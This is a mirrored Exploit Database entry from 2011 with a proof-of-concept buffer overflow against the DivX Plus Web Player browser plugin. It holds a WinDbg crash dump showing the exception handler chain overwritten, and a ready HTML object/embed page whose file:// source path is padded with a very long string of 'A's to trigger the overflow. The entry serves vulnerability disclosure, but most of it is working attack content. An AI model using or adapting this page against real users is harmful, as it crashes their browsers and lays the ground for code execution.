DivX Plus Web Player – ‘file://’ Buffer Overflow (PoC)

• Exploit Database
• 13 阅读

• 作者： Snake
  日期： 2011-10-05
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17933/

• # Exploit Title: DivX Plus Web Player "file://" Buffer Overflow Vulnerability PoC ( 0day )
  # Date: 10/4/2011
  # Author: Snake ( Shahriyar.j < at > gmail )
  # Version: DivX Plus Web Player <= 2.1.2.265
  # Tested on: XP SP3 , IE6
  # CVE : Not Assigned Yet
  # Ref : http://dl.packetstormsecurity.net/1109-advisories/sa45550.txt
   
  This is PoC I wrote for our free BA service in 0days.ir.
  bug seems simply exploitable ;)
  
  
  (ce8.ca8): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=000007b5 ebx=04634f9e ecx=0000062a edx=0000062b esi=00000041 edi=049ff3ac
  eip=03d6c62d esp=049ff35c ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00210216
  DivXPlaybackModule+0x3c62d:
  03d6c62d 6689344fmov word ptr [edi+ecx*2],sids:0023:04a00000=5a4d
  0:010> dd esp
  049ff35c045e56d4 00000000 03d6c8e3 049ffbfc
  049ff36c045e56d0 04634f9e 001f5980 00000000
  049ff37c001eb9e0 00000000 001c5258 00000008
  049ff38c00150178 ffffffff 7c91003d 001c5260
  049ff39c00150000 001ead30 7c8099fd 00000000
  049ff3ac0046002f 002f003a 00410041 00410041
  049ff3bc00410041 00410041 00410041 00410041
  049ff3cc00410041 00410041 00410041 00410041
  0:010> dd
  049ff3dc00410041 00410041 00410041 00410041
  049ff3ec00410041 00410041 00410041 00410041
  049ff3fc00410041 00410041 00410041 00410041
  049ff40c00410041 00410041 00410041 00410041
  049ff41c00410041 00410041 00410041 00410041
  049ff42c00410041 00410041 00410041 00410041
  049ff43c00410041 00410041 00410041 00410041
  049ff44c00410041 00410041 00410041 00410041
  0:010> !exchain
  049ffd9c: iexplore!DllGetLCID+dca7 (00410041)
  Invalid exception stack at 00410041
  
  also 
  check here for free Persian BA :
  http://www.0days.ir/article/
  
  -have fun
  twitter.com/ponez
  
  <object classid="clsid:67DABFBF-D0AB-41fa-9C46-CC0F21721616" width="500" height="245" codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab">
  <param name="custommode" value="none" />
  <param name="previewImage" value="Test" />
  <param name="autoPlay" value="true" />
  <param name="src" value="file:///F:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.mkv" />
  <embed type="video/divx" src="file:///F:/.mkv" custommode="none" width="500" height="245" autoPlay="true" previewImage="Test" pluginspage="http://go.divx.com/plugin/download/">
  </embed>
  </object>